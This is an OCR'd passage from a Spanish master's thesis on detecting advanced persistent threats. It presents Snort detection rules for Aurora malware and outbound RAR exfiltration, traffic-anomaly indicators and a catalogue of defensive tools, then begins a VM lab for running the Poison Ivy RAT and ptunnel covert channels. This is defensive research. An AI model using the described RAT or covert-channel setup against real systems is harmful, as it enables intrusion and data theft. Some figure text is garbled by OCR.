ff £ff £f £f £f ££f ££f £ff ££f 88 f£f|"; offset:0; depth:20;
classtype:trojan-activity; reference:url,

-
U

www.avertlabs.com/research/blog/index. php/2010/01/18/an-insight-into-
the-aurcora-communication-protocol/;
51d:10000000001; rev:1;)
Figura 31: Regla para IDS para detectar el comportamiento del malware Aurora.
(Binde et al., 2011)

Desventaja

Debido a que esta basada en reglas que detectan una amenaza previamente conocida, no
permite detectar aquellas amenazas que no han sido previamente detectadas, analizadas y
documentadas, por lo que seria inutil para cualquier ataque en el que se utilizase nuevo

malware.

3.9.2 Métodos estadisticos y de correlacion

Por “métodos estadisticos y de correlaciéon” se entiende la busqueda de anomalias en el
trafico de red respecto a lo que seria el trafico habitual y esperable en la instalacion a
proteger. Una de las dificultades para llevar a cabo su implementacion es establecer la linea
base: ¢ cuales son los parametros “normales?. Y es que éstos pueden diferir en funcién de la
red, el tipo de trafico que transporta, etc. Una errénea configuracién de los filtros podria dar

lugar a multiples falsos positivos (Couture, 2010).

A continuacién se definen una serie de indicadores que ayuden a detectar de una manera

rapida si algo anémalo sucede en nuestra red (Holguin et al., 2013):

Capa de Red. Geolocalizacién:
La monitorizacion de la geolocalizacion del trafico de red nos permite establecer un
nuevo indicador para la deteccion de APT. Y es que conociendo la organizacion

cuales son los patrones habituales de conexiones que realizan sus equipos hacia
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segun qué paises, se puede establecer la ubicacién geografica de las conexiones
salientes como indicador de referencia para conocer si se esta produciendo una
exfiltracion de informacién ilegitima. Por ejemplo, si se detecta que el equipo de un
usuario establece conexiones empleando un protocolo seguro SSL hacia Rusia, pais
con el que la empresa no tienen ninguna relacién, deberia de llevarse a cabo una

comprobacion del motivo de la conexién para descartar que fuera ilicita.

Capa de Transporte:
* Relacion TCP SYN, TCP SYN/ACK y RST:

En condiciones normales, el nimero de TCP SYN debe encontrarse proximo al de
TCP SYN/ACK, por lo que si existe una diferencia pronunciada entre ambos valores,
esto podria indicar una anomalia en nuestra red, que podria ser debida a ataques de
denegacion de servicio DDOS de tipo TCP SYN flood o bien a la existencia de
Covert Channels para exfiltracion de informacion. Ademas, un numero de TCP RST
respecto a TCP SYN divergente puede ser indicativo de la extracciéon de informacion
mediante una técnica de Covert Channels.

SYN + SYN/ACK packets per second

20k
\“M«/u\ugf‘hm
1.0 k

! A % i TGP Al it

Sun 18: 00 Mon 00: 00 Mon 06: 00 Mon 12100
W SYN W SYN/ACK

Figura 32: Comportamiento normal TCP/SYN — TCP/SYN/ACK.
(Holguin et al., 2013)

SYN + SYN/ACK packets per second

" e

Mon 12-00 ) Mon 18: 00 ) ’ Tue 00: 00 Tue 06:00
W SN B SYN/ACK

Figura 33: Comportamiento anormal TCP/SYN-TCP/SYN/ACK.
(Holguin et al., 2013)
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« Tamano de los paquetes:
Conociendo el tamafio medio de los paquetes UDP o TCP que entran y salen hacia
Internet, podemos tener un indicador general donde observar si se produce una
variacion significativa que podria deberse a:
= Si aumenta el valor medio: extraccion de informacion.

= Si disminuye el valor medio: nuevas vias de comunicacion hacia el exterior.

* Numero de paquetes por puerto TCP:
Conociendo el numero de paquetes por puerto TCP que se han generado, se puede
establecer un indicador si éstos se analizan de manera periédica. Si se produce una
variacién para un rango horario, deberia generarse una alerta en los sistemas de
seguridad de la organizacion. Un ejemplo de indicadores seria la media diaria de
paquetes enviados al puerto 80/TCP en horario laboral, y la media diaria de paquetes

enviados al puerto 80/TCP fuera del horario laboral.

*  Numero de conexiones TCP:
Otro indicador a tener en cuenta es el nimero de conexiones TCP que se producen
de manera periddica en la organizacion. Si se aprecia un incremento en la media por

periodo de tiempo, éste ha de ser controlado por el equipo de seguridad.

*  Volumen de trafico:
Definiendo una serie de umbrales de cantidad de trafico por periodo de tiempo, de
manera que sea mas restrictiva en determinadas ventanas temporales, se obtendra
un indicador mas. Un aspecto importante a contemplar en horario no laboral, es la
variacién de trafico que viene determinada por las copias de seguridad, ya que

podria provocar falsos positivos.

» Distribucion del trafico por servicio:
Para establecer este indicador, es necesario que la organizacion tenga definida una
politica que defina los servicios que pueden utilizarse y aquellos que no. Se buscaran
anomalias en los servicios utilizados y el periodo en que han sido utilizados, de modo
que si un servicio determinado es monitorizado generando trafico a una hora en que
no deberia de hacerlo, saltarad una alarma para que el administrador del sistema lo

investigue.
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Deteccién de redes Fast-Flux

Tal como se ha descrito en el apartado 2.2.2.1, las redes Fast-Flux consisten en que para un
mismo servidor nodriza se tendran multiples direcciones IP proxy a través de maquinas
infectadas en un periodo de tiempo muy corto. Por ello, un indicador a tener en cuenta como

alerta de que se esta produciendo una incidencia de seguridad seria el que se produjeran

una cantidad excesiva de respuestas con direcciones IP Unicas para un mismo dominio.

o, Time Source Destination Frotcol nio

1 2011-05-07 06:19:04. 913420 192.168.1.121 192.168.1.8 standard guery response A 192.118.40. 97

2 2011-05-07 06:19:25.751087 192.166.1.121 192.166.1.8 DNS Standard guery response A 192.180.99.59

3 2011-05-07 06:19:46. 841776 152.168.1.121 152.168.1.8 DNS Standard guery response A 192.106.178.136
4 2011-05-07 06:20:07. 852046 102.168.1.121 102.168.1.8 DNS Standard guery response A 102.31.7.237

5 2011-05-07 06:20:28. BROATL 102 168.1.121 102 168.1.8 DNS Standard guery response A 192.232.230_160
6 2011-05-07 06:20:49.743262 192.168.1.121 192.168.1.8 DNS Standard guery response A 192.114.173.242
7 2011-05-07 06:21:10.660840 192.166.1.121 192.166.1.8 DNS standard guery response A 192.151.178.111
8§ 2011-05-07 06:21:31. 646147 192.168.1.121 192.168.1.8 DN5 Standard guery response A 192.161.62.145
9 2011-05-07 06:21:52.855336 152.168.1.121 102.168.1.8 DNS Standard guery response A 192.10.144.110

Figura 34: Trafico Fast-Flux.
(Binde et al., 2011)

3.9.3 Aproximaciones manuales

En determinadas ocasiones, cuando el ataque APT utiliza una vulnerabilidad de dia cero, la
amenaza puede permanecer sin ser detectada. Por ello, puede darse la situacién en que el

ataque solo pueda ser detectado por medio de la monitorizacion y el examen de los logs del

sistema.

Algunos ejemplos de comportamiento andmalo qué podemos detectar mediante
aproximaciones manuales (Binde et al., 2011):
» Trafico de ingreso extrano, iniciado por la organizacién victima en lugar de por el
atacante.
* Logs DNS.
* Trafico andmalo comparado con las lineas base.

¢« Movimiento lateral.

Por ello, es importante afinar correctamente los sistemas de presentacion de informacién
recogida para que el analista pueda distinguir un comportamiento anémalo. Como ejemplo,
se muestra a continuacion una imagen en la que se puede observar como el host victima
192.168.1.6 esta sondeando su vecindario en la red buscando servicios conocidos que el

atacante pueda explotar en caso de presentar vulnerabilidades:
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ET SCAN m.mi-@ Scan 5800-5820
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. .

ET SCAN ponntii@ Scan $900-59

ET POLICY Suspicious mb@ to Oracle SQL port 1521

SuspiCous rb@lo PostgreSQL port 5432
AterGlow 1 6.0

Figura 35: Visualizacion en Squert/AfterGlow del escaneo de sondeo de un host de pivotaje.
(Binde et al., 2011)
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3.9.4 Bloqueo automatico de exfiltracion de informacion

Los sistemas IDS pueden bloquear la exfiltracién de informaciéon por medio de la deteccion

de las caracteristicas del trafico de salida. Por ejemplo, se podria bloquear la transmisién de

archivos en formato que permiten ocultar la informacién exfiltrada, como por ejemplo el

formato de compresion RAR.

A continuaciéon se muestran ejemplos de métodos de bloqueo automatico de exfiltracion de

informacién (Binde et al., 2011):

Deteccidn de la exfiltracion de archivos RAR
En el ataque a RSA Security la informacion fue ofuscada mediante el uso de archivos
RAR, lo que ha llevado al desarrollo de reglas para detectar las firmas de ficheros

RAR que salen de la red. Se llevarian a cabo los siguientes procesos:
o Configurar el firewall (iptables) para bloquear el trafico basado en la firma.

o Configurar el NIDS (Snort) para la deteccion.

alert tcp $HOME NET any —> S$EXTERNAL NET any (msg:"ET POLICY RAR
File Outbound™; flow: established; content:" |52 €1 72 21|";
offset: 0; depth: 4; tag: session; classtype: not-suspicious;
sid: 2001950; rev:3;)

Figura 36: regla Snort de deteccion de archivos RAR salientes en base a su firma.
(Binde et al., 2011)

OSSEC Active Response

Permite la ejecucion automatica de comando o respuestas cuando un evento
especifico, o un conjunto de eventos, suceden. Ademas, puede ser gestionado de
manera escalable permitiendo la ejecucion preventiva de comando tanto en el lado
del servidor como en el del cliente. En definitiva es un gran elemento disuasorio
contra escaneo de puertos, ataques de fuerza bruta y algunos otros tipos de ataques
de fingerprinting. No obstante hay que tener cuidado en su afinado, ya que si no

puede dar lugar a diversos falsos positivos.
Uso de Proxy

Otra manera de prevenir que el atacante tenga éxito en la exfiltracion de la
informacién consiste en integrar un proxy en el entorno. Esto permitiria bloquear

tanto el intento de conexién a paginas web fuera de la “lista blanca” o ACL de la
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organizacién, como bloquear cualquier intento de realizar una conexién en la capa de

aplicacion sin pasar a través del Proxy.

7_ A
A m_\ 8
/ — s= e
|nm(riét Explorer O oy -
Firewall

from proxy permit tcp/443 outbound
deny any tcp/443 outbound

Poison IVY RAT

Figura 37: Proteccion perimetral a través de Proxy.
(Binde et al., 2011)
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3.10. Herramientas de caracter libre para deteccion de
APT
La deteccion de ataques de Amenazas Persistentes Avanzadas son el fruto de la integraciéon
de diversos sistemas de analisis y deteccidn, ya que por su propia naturaleza las APT
constan de diversas caracteristicas que, en conjunto, las identifican, por lo que para poder
detectarlas a tiempo necesitamos emplear diversas herramientas que nos permitiran
analizar el estado del sistema desde distintos puntos de vista. A esto se suma el hecho de
que sean en gran medida personalizadas para cada ataque, lo cual lleva a que no porque
conozcamos la firma y caracteristicas de una APT seamos capaces de detectar

automaticamente o con una sola herramienta una nueva amenaza.

Este documento tiene como objetivo el llevar a cabo dicha deteccion mediante el uso de
herramientas de caracter libre, sin coste de adquisicién para el usuario u organizacion, de
modo que a continuacién se procede a enumerar y describir brevemente algunas de las que

se pueden encontrar para integrar en un sistema de deteccion de ataques APT.

Analizadores de Red

* Wireshark https://www.wireshark.org/):

Herramienta multiplataforma de caracter libre (licencia GPL) de analisis de protocolos
que mediante su interface grafica permite ver todo el trafico que pasa a través de una
red. Entre las funcionalidades incluidas se encuentran:
* Inspeccioén profunda de protocolos.
» Captura de paquetes en tiempo real y analisis offline.
* Analisis de VolIP.
* Nmap (https://nmap.org/):

Herramienta de caracter libre y de licencia GPL para llevar a cabo escaneres de red
y auditoria de seguridad. Mediante el uso de paquetes IP nos permite determinar,
entre muchas otras cosas:

* Dispositivos disponibles en la red.

* Servicios ofrecidos por los dispositivos.

» Sistema Operativo de los dispositivos (y su version).

* Tipo de firewalls utilizados.
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*  Nfdump (http://nfdump.sourceforge.net/):

Herramienta de cédigo abierto para capturar trafico de red, almacenar la informacién
en archivos, y mostrar estadisticas y diversas informacién acerca de la informacion
capturada.

o Nfsen (http://nfsen.sourceforge.net/):

Frontend grafico web para representar de una manera intuitiva y visual los datos
creados por la herramienta Nfdump.

* Ntopng (http://www.ntop.org/):

Herramienta de cddigo abierto (que podemos encontrar en dos versiones, una de
pago, ntopng Pro, y otra gratuita, ntopng Community) de monitorizacién de trafico de
red de alto rendimiento y baja demanda de recursos, disefiada como sustituta de

ntop.

Proxy web
* Squid (http://www.squid-cache.org/):
Servidor proxy web con caché de caracter libre (licencia GPL), multiplataforma, que
permite:
* Mejorar el rendimiento de las conexiones a Internet.
* Acelerar el acceso a un servidor web.
* Anadir seguridad realizando filtrado de trafico en capa de aplicacion del
modelo OSI.
¢ SquidGuard (http://www.squidguard.org/):

Herramienta de redireccionado de URLs utilizado con el proxy Squid.

* DansGuardian (http://dansguardian.org/):

Filtro de contenido web de cddigo abierto para entornos UNIX/LINUX, que filtra el
contenido de las paginas web en funcion de diversos métodos incluyendo
coincidencias de frases, filtro de imagenes vy filtrado de URLs. No filtra unicamente en

funcion de una lista de sitios baneados como la mayoria de filtros comerciales.

Firewalls

* Modsecurity (https://www.modsecurity.org/):

Firewall, de cédigo abierto, de monitorizacion en tiempo real aplicaciones web
(WAF), que se ejecuta como mddulo del servidor web Apache, y provee proteccion

contra diversos ataques hacia aplicaciones Web, y permite monitorizar trafico HTTP.
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* Netfilter / Iptables (https://www.netfilter.org/):

Netfilter es un framework disponible en el nucleo de Linux que permite interceptar y

manipular paquetes de red. Iptables es un cortafuegos que pasa por ser la

herramienta mas popular de Neffilter, permitiendo no solo filtrar paquetes, sino

también realizar traduccién de direcciones de red o mantener registros de log.

Sistemas de Deteccion de Intrusiones - IDS

* Host-based Intrusion Detection System (HIDS)

o

OSSEC (http://ossec.github.io/):

Herramienta escalable y multiplataforma de cédigo abierto, con un poderoso

motor de analisis y correlacién, que integra analisis de log, chequeo de integridad
de archivos, monitorizacion del registro de Windows, aplicacién de politicas
centralizadas, deteccion de rootkits, alertas en tiempo real y respuesta activa.

Samhain Labs (http://www.la-samhna.de/samhain/):

Software de codigo abierto multiplataforma para sistemas POSIX (Unix, Linux;
Cygwin/Windows) que pasa por ser la principal competencia de OSSEC. Entre
las diferencias encontramos por un lado que el agente posee una variedad de
métodos de salida como un servidor central, Syslog, email y RDBMS. Otra
diferencia importante radica en dénde el analisis tiene lugar: a diferencia de
OSSEC, el procesamiento se lleva a cabo en el cliente, lo cual si bien
proporciona una ventaja en términos de velocidad de procesamiento, puede tener

un impacto en el rendimiento de los servidores.

* Network Intrusion Detection System (NIDS)

(0]

Snort (https://www.snort.org/):

Sistema de Prevencion de Intrusiones de Red basado en reglas, capaz de llevar
a cabo andlisis de trafico en tiempo real y registro de paquetes en redes IP.
Ademas, puede analizar protocolos, buscar/comparar contenido, y ser usado
para detectar diversos tipos de ataques y fingerprinting, tales como buffer-
overflows, escaneres de puertos, ataques CGl, etc.

Suricata (https://suricata-ids.org/):

NIDS de alto rendimiento de cédigo abierto propiedad de la fundacién sin animo

de lucro gestionada por una comunidad Open Information Security Foundation
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(OISF). A pesar de que su arquitectura es diferente de la de Snort, puede usar las
mismas firmas ya que se comporta de la misma manera.

o Bro (https://www.bro.org/):

NIDS de diferentes caracteristicas que Snort y Suricata, ya que es al mismo
tiempo un IDS basado en firmas y anomalias, cuyo motor de analisis convierte el
trafico capturado en series de eventos, que pueden ser desde la conexion de un
usuario a FTP, hasta una conexién a una pagina web. Su poder radica en el
Intérprete de Scripts de Politicas, el cual tiene su propio lenguaje (Bro-Script) y
puede realizar tareas muy potentes y versatiles.

o Kismet (https://www.kismetwireless.net/):

Considerado como el referente de los denominados Wireless-IDS o WIDS or
también WiFi NIDS, es un detector de redes, packet-sniffer e IDS que identifica
redes recolectando paquetes de manera pasiva y detectando redes, lo cual le

permite detectar redes ocultas a través del trafico de red.

Sistemas de Monitorizacion de Seguridad de Red (NSM)

Squil (http://www.sguil.net):

Coleccién de componentes de software libre para Monitorizacién de Seguridad de
Red y analisis de alertas de IDS por medio de eventos. Su principal componente es
una interface grafica (GUI) que permite visualizar en tiempo real eventos, informacién
de sesién, y paquetes capturados.

Squert (http://www.squertproject.org/):

Aplicacion web utilizada para consultar y ver informacion almacenada en una base
de datos Sguil, mediante su interface grafica, aportando contexto adicional a los
eventos, por medio del uso de metadatos, representaciones de series temporales y
conjuntos de resultados agrupados de manera logica.

Enterprise Log Search and Archive (ELSA) (https://github.com/mcholste/elsa):

Software receptor, archivador e indexador de logs y frontend web para syslog.

Herramientas de Analisis Forense de Red (NFAT):

Xplico (http://www.xplico.org/):

Herramienta de codigo abierto, para entornos Linux, que permite extraer de una

captura del trafico de Internet la informacién sobre las aplicaciones contenidas.

NetworkMiner (http://www.netresec.com/?page=NetworkMiner):
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Herramienta NFAT de caracter libre (aunque con una versién de pago mas completa)

multiplataforma, que que facilita el llevar a cabo Analisis de Tréafico de Red Avanzado

(NTA) al presentar los datos en una interface de usuario intuitiva. Puede ser utilizado

como:

o Herramienta de captura de paquetes o network sniffer para detectar sistemas
operativos, sesiones activas, nombres de dispositivos, puertos abiertos, etc.

o Tratar ficheros PCAP para analisis online y reconstruccion de archivos y
certificados transmitidos.

e OpenlOC (http://www.openioc.org/):

Open Indicators of Compromise es un framework que, mediante un esquema xml
extensible para la descripcion de caracteristicas técnicas que identifican un peligro
conocido, una metodologia de ataque u otra evidencia de compromiso, permite
compartir informacién de amenazas entre organizaciones. A continuacion se
enumeran algunas herramientas de caracter libre desarrolladas por FireEye para
gestionar IOC:

o |OC Editor (https://www.fireeye.com/services/freeware/ioc-editor.html) :

Interface para gestionar informacién y manipular estructuras légicas de
Indicadores de Compromiso.

o |OC Finder (https://www.fireeye.com/services/freeware/ioc-finder.html):

Herramienta para recolectar informacion de sistema del host y reportar la
presencia de IOCs.

o 10C Writer (https://github.com/mandiant/ioc_writer):

Libreria de Python que permite la creacion y edicién basica de objetos OpenlOC.

Detectores de Malware

* VirusTotal (https://www.virustotal.com/es/):

VirusTotal es una empresa subsidiaria de Google que ofrece un servicio online
gratuito que analiza archivos y URLs permitiendo identificar virus, gusanos, troyanos
y otro tipo de malware. Ademas puede ser utilizado para detectar falsos positivos,

como por ejemplo archivos o URLs detectados como maliciosos por otros escaneres.

* ClamAV (https://www.clamav.net/ ):
Antivirus de cédigo abierto multiplataforma para detectar virus, troyanos y demas
malware. Uno de sus muchos usos es el de escaner de virus de email en el lado del

servidor.
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Sistemas de Gestion de Incidentes y Eventos — SIEM

* Security Onion (https://securityonion.net/):

Distribucion de Linux basada en Ubuntu que ofrece:

o Deteccion de intrusiones.

o Monitorizacién de la seguridad de la red.

o Gestion de logs.

Entre otras herramientas de seguridad incluidas en esta distribucion se puede
encontrar (https://github.com/Security-Onion-Solutions/security-onion/wiki/Tools ):
o Snort (NIDS):

o Suricata (NIDS).

o Bro (NIDS).

o OSSEC (HIDS).

o Sguil (NSM).

o Squert (NSM).

o ELSA (NSM).

o Xplico (NFAT).

o NetworkMiner (NFAT).

Para mas informacion acerca de esta distribucion, consultar la Wiki habilitada en su

pagina web: https://github.com/Security-Onion-Solutions/security-

onion/wiki/IntroductionToSecurityOnion

¢ AlienVault OSSIM (https://www.alienvault.com/products/ossim):

Open Source Security Information and Event Management es un producto de

AlienVault que provee de un SIEM de licencia open source con recoleccion,

normalizacién y correlacion de eventos. Este ofrece las siguientes funciones de

seguridad:

o Descubrimiento de dispositivos.

o Evaluacién de vulnerabilidades.

o Deteccion de intrusiones.

o Monitorizacion de comportamiento.

o Informacion de seguridad y gestién de eventos.

o Integracion del sistema de compartir indicadores de amenazas Open Threat
Exchange (OTX).
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Entre otras herramientas de seguridad incluidas en esta distribucion se puede
encontrar:

o Suricata (NIDS).

o Bro (NIDS).

o OSSEC (HIDS).

o Kismet (NIDS).

Otras herramientas:

* fwsnort (http://www.cipherdyne.org/fwsnort/):

Herramienta que traduce los archivos incluidos en Snort y contruye el conjunto de
reglas equivalente de Iptables, para tantas reglas como sea posible. Ademas, utiliza
el moédulo de combinacion de cadenas de iptables para detectar ataques en la capa
de aplicacion.

* AfterGlow (http://afterglow.sourceforge.net/):

Coleccidn de scripts incluida en Squert, y que hace uso de las librerias graphviz para
generar visualizaciones graficas en tiempo real del trafico de red capturado y asi

facilitar el analisis de conjuntos de datos complejos

Scripts de seguridad
+ dnsWatch.py (https:/github.com/ctxis/DNSWatch):

Script, escrito en Python para Scapy, que analiza el trafico de red (sea en tiempo real

o a través de un fichero PCAP) en busqueda de un token concreto, emitiendo un
informe sobre el resultado de la busqueda..

« ActiveState mini fake dns-server (http://code.activestate.com/recipes/491264-mini-

fake-dns-server/history/4/ ):

Script escrito en Python para generar trafico DNS falso que simula el generado por el
trafico Fast-Flux. En el se puede definir un dominio (por ejemplo “hacker.ru”), asi
como manipular el numero de paquetes, peticiones, punteros, tipos de respuesta, y
el Time To Live (TTL).

* Barnyard2 (https://github.com/firnsy/barnyard?):
Intérprete de codigo abierto para los binarios unified2 de salida de Snort incluido en
Security Onion. Su principal cometido es permitir que Snort deje la tarea de traducir
los binarios a distintos formatos a otro proceso, para que Snort escriba en disco de

una manera mas eficiente y no pierda trafico de red.
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PyOleScanner
(https://github.com/Evilcry/PythonScripts/blob/master/pyOLEScanner.py):

Herramienta que, dado un fichero OLEZ2 (doc, xls, ppt), busca shellcodes, ejecutables
embebidos, la presencia de APIs, aplica fuerza bruta XOR, y finalmente muestra si el
archivo de Microsoft Office es malicioso o si por el contrario esta limpio.
trackByGeo.py (Binde et al., 2011):

Script creado por Binde et al. (2011) que, haciendo uso de la APl en Python MacMind

GeolP (https://www.maxmind.com/en/open-source-data-and-api-for-ip-geolocation), al

ejecutar trackByGeo.py <foo.pcap> devuelve un informe de resultados incluyendo las

direcciones IP de origen y destino clasificadas por paises.

3.11.Prevencion de APT

A continuaciéon se enumeran tacticas eficaces para ayudar a establecer una defensa en
profundidad (Couture, 2010):
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Principio de minimo privilegio: Si los usuarios no tienen derechos administrativos
para ejecutar software no autorizado, acceder a la consola de comandos, enviar
pings ICMP, etc, sera menos probable que se puedan establecer canales
encubiertos.

Politica de seguridad fuerte: El desarrollo, mantenimiento e implantacién de una
politica de seguridad fuerte disuadira a los individuos menos motivados para realizar
un ataque.

Educacién y concienciacién: Cuanto mayor sea el conocimiento sobre seguridad
de la informacioén de los empleados, y mayor sea su concienciacién sobre los
peligros de actuar incorrectamente, mayor sera su efectividad para detectarlos.
Hardening de los servidores: Ayudara a minimizar la exposicion a todas las
vulnerabilidades.

Proxies web y DNS: Su instalacién fuerza que todas las peticiones externas DNS y
HTTP pasen a través suyo, ayudando a combatir peticiones irregulares.

IDS: Su instalacion puede destacar caracteristicas de troyanos, puertas traseras y

malware conocidos que pudieran estar actuando en nuestra red.
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* Linea base de trafico de red: Permitira que los algoritmos de deteccién de
anomalias sean mas eficaces.

* Normalizacién del trafico: Eliminar posibles canales encubiertos mediante la
sobreescritura y padding de campos explotables de los protocolos con ruido
aleatorio.

* Deshabilitar ICMP: Ignorar los paquetes ICMP entrantes, excepto aquellos de los
administradores de red.

* Logging: Ya que los canales encubiertos son descubiertos normalmente a través de
efectos secundarios, un conjunto meticuloso de logs puede ayudar en gran medida
en la investigacion del origen de la brecha.

* Bloquear, o permitir solo aquellos tipos de mensajes ICMP y DNS requeridos para el
adecuado funcionamiento.

* Restricciones de trafico explotable: Si bien los canales encubiertos no pueden ser
completamente evitados, si que se puede reducir su efectividad limitando el ancho

de banda, o implantando restricciones para el trafico que explotan.
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4. DESARROLLO ESPECIFICO DE LA
CONTRIBUCION

Este apartado representa la culminacion del trabajo realizado previamente a lo largo del
TFM, de documentacién y analisis de informacioén relacionada con las APT, con el objetivo
de profundizar en su comprensién y mejorar la capacidad de lucha contra ellas, en lo

referido a su deteccion.

A continuacién se expone una descripcion detallada del experimento, dividida en cuatro
apartados. En primer lugar se tratara la composicion del entorno de trabajo o laboratorio. A
continuacion se indicaran los pasos seguidos para la instalacién y configuracion de sus
distintos componentes, para posteriormente describir paso a paso la prueba realizada.

Finalmente, se llevara a cabo la exposicion de los resultados obtenidos.

4.1.Descripcion detallada del experimento
4.1.1 Descripcion del Laboratorio

En este apartado se tratara lo concerniente a la estructura y composicion del laboratorio o

entorno de trabajo, sin entrar todavia en la configuracién o en el piloto en si.

4.1.1.1 Descripcion y Configuracion del Entorno de Trabajo

El entorno de trabajo se implementara a su vez sobre un entorno virtualizado para poder
aislar los equipos de prueba de la red local e Internet para por un lado evitar la propagacién
del malware, y por otro lado evitar interacciones no deseadas de software de otros equipos

que pueda distorsionar u ocultar los datos de interés.

4.1.1.2 Software de Virtualizacién
El programa elegido para llevar a cabo la implementacion del entorno virtualizado a sido
VirtualBox (https://www.virtualbox.org/), el cual auna dos caracteristicas clave para formar

parte del presente trabajo: ser software libre y fiabilidad, en su version 5.1.4r110228.

VirtualBox, tal como podemos ver en su pagina web, es un virtualizador de propdsito general

para hardware de arquitectura x86, enfocado a servidores, sobremesa y uso embebido.
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Figura 38: Maquina virtual con Security Onion corriendo sobre Windows10.

4.1.1.3 Herramientas de analisis y monitorizacion

Para llevar a cabo la monitorizacién y el analisis de la red y los sistemas se ha decidido
utilizar la distribucion Security Onion (https://securityonion.net/), desarrollada por Doug
Burks, en su version 14.04.4.2, mencionada y descrita previamente en el apartado 3.9 de
este documento, al igual que las herramientas en ella incluida. Las razones para escoger
dicha distribucién por encima de otras son varias:

* Es una distribucion conformada enteramente por software libre.

» Este bundle de herramientas posee todas las herramientas necesarias para llevar a
cabo el cometido del presente trabajo.

4.1.1.4 Equipo Victima

Como sistema operativo para la maquina victima se ha elegido el SO Microsoft
WindowsXP, ya que representa un host medio que se podria encontrar de manera habitual
en el periodo en que PoisonlVY fue desarrollado y utilizado, ademas de poder encontrarse
todavia en multiples instalaciones de todo el mundo, que a pesar de poseer una relevancia

importante, no han sido actualizadas a sistemas operativos mas modernos.
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4.1.1.5 Equipo Atacante

En el equipo atacante se ha optado por instalar Microsoft Windows 7 Professional SP1, ya
que, por un lado representa en la actualidad el sistema operativo medio de usuario, tanto a
nivel particular como profesional, y por otro lado nos permite ejecutar la herramienta
PoisonlVY, disefiada para ser utilizada en Windows, tanto a nivel de cliente (atacante) como

de servidor (victima).

Desktop/Laptop operating system browsing statistics

Windows 7 _ 40.67%
Windows 10 - 23 53%
05 X (all versions) 0610
Windows 8.1 . 8 40%
Windows XP B 6.36%
Unknown . 516%
Windows 8 | 2.85%
Linux (exl. Chrome

05 an.d Android) I it
Windows Vista | 1.32%
Chrome O3 | 0.35%
Other Windows

down to Windows DE | 0.18%
reported

Other 0.01%

Deskitop OS market share according to StatCounter for July 2016.
Figura 39: Cuota de mercado de sistemas operativos sobremesa/portatil.

Recuperado el 1 de septiembre de https.//en.wikipedia.org/wiki/Usage_share_of _operating_systems

4.1.1.6 Equipos de Covert-Channel
Para la simulaciéon de un canal encubierto vamos a utilizar como Cliente y Servidor dos MV
Linux debido a que el software que vamos a utilizar (ptunnel) esta desarrollado para dichos

sistemas. Dichas maquinas virtuales seran:
* Linux Mint Cinamon 18.

* Kali Linux 2016.2 64bit.
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4.1.1.7 Herramienta de APT

El malware que utilizado para esta prueba sera el Poison IVY-RAT en su version 2.3.2,
herramienta de administracién remota para Windows, que ha sido utilizado en diversas
campafnas de malware de alto perfil, siendo los ataques mas notorios, el ataque a RSA
SecurlD de 2011 y la campafia conocida como Nitro, también en 2011, en su versioén 2.3.2,
ultima version de dicho malware que vio la luz por primera vez en 2005 y sufrié su ultima
revision en 2008 (FireEye, 2014).

Entre las funcionalidades a destacar de Poisonlvy se encuentran:
* Captura de pulsacion de teclado.
* Capturas de pantalla.
» Captura de video.
» Transferencia de ficheros.
* Administracion de sistema.
* Robo de contrasenas.

¢ Redireccion de trafico de red.

Ataque - Infeccion
El entorno de PoisonlVY, por medio de una GUI intuitiva, permite a los atacantes
personalizar y configurar su propio servidor, que sera enviado a la victima, siendo el cliente

el encargado de recibir y enviar las ordenes a las maquinas infectadas.

El funcionamiento del cédigo de este malware, en la maquina victima, se divide en dos
partes:

» Cadigo de inicializaciéon y mantenimiento.

* Cbdigo de red.
El proceso de infeccién comienza con la inyeccion del codigo de inicializacion y
mantenimiento en el proceso explorer.exe de Windows, para a continuacion, el codigo red,
dependiendo de como el atacante lo haya configurado, inicia un proceso oculto del
navegador web y se inyecta dentro de dicho proceso. Asi, el codigo de red descarga

remotamente el resto del cédigo e informacidon necesario para su funcionalidades.
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4.1.1.8 Herramienta de Covert Channel

Para llevar a cabo la simulaciéon de un canal encubierto en la red se va a recurrir al software
ptunnel, el cual aparece mencionado y descrito previamente en este documento en el
apartado “3.2.2.2 Covert Channel’, que nos permitira crear un covert-channel de tipo

almacenamiento.

4.1.2 Instalacién y configuraciéon del laboratorio

Instalacién y Configuracién del Entorno de Virtualizacion

En primer lugar llevaremos a cabo la instalacion del software de virtualizacion, que en este
caso sera Oracle VM VirtualBox 5.1.4r110228.

W VirtualBox - Acerca de [ >

k
1
)
[

ORACLE
VM

VirtualBox

Bl b 2

—

Q
acle Corporation and,g

Figura 40: Pantalla de administrador de VirtualBox

Configuracién de Red

Para el presente trabajo, la configuracion de red sera:

* Tipo: Red solo anfitrion (Host-Only Networking).
* Puerta de enlace: 192.168.99.1
* Mascara de subred: 255.255.255.0

¢ Servidor DHCP:
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f

Adaptador Servidor DHCP

Habilitar servidor

Direccién del servidor: | 192,168,992

Limite inferior de direcdones: | 192.168.99.3

|
Mascara del servidor: |255.255.255.0 |
|
|

Limite superior de direccdones: | 192.168.99. 10

oK Cancel

Figura 41: Configuracién de red solo-anfitrion. Servidor DHCP.

= | P
: {.z.} Instantanes
L SEilier | @ General Red
@ Entrada Redes MAT Redes solo-anfitridn L
@ Actualizar VirtualBox Host-Only Ethernet Adapter 22 E
@ Idioma =
Pantalla f Detalles de red salo-anfitridn ? X
@ Red Adaptador Servidor DHCP
(L) Extensiones Direccién TPv4: | 192.168.99.1 |
FE Méscara de red Pv4: | 255,255,255.0) |
Direccidén IPv:

Longitud de méscara de red IPve:

Canca

Figura 42: Configuracion de red solo-anfitrion. Adaptador.

El tipo de red elegido, Red Solo Anfitrién, hibrido entre los modos “adaptador puente” y “Red
Interna” que nos permite crear un entorno en el cual las maquinas virtuales pueden
interactuar las unas con las otras y con el host tal como si estuvieran conectadas a través de
un switch, al mismo tiempo que limitamos el alcance a dicho host, es decir, que no pueden
comunicarse con “el mundo exterior” al host. Cuando este tipo de red es configurado
VirtualBox crea una nueva interface software en el host, la cual aparecera junto con las otras

interfaces de red.
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4.1.2.1 Windows XP - Victima

La configuracion de la maquina virtual utilizada es la siguiente:
* Disco Duro: VHD de 4GB
« RAM: 512 MB
* Red: Adaptador sélo-anfitrion.

4.1.2.2 Windows7 - Atacante

La configuracion de la maquina virtual utilizada es la siguiente:
¢ Disco Duro: VHD de 20GB
« RAM: 1GB

* Red: Adaptador sélo-anfitrion.

4.1.2.3 Security Onion
A continuacién se va a realizar la instalacion de la distrubucion Security Onion 14.04.4.2 en
una maquina virtual. Los pasos a llevar a cabo seran los siguientes:
1. Crear la maquina virtual (VM).
o Espacio en HD: 25GB
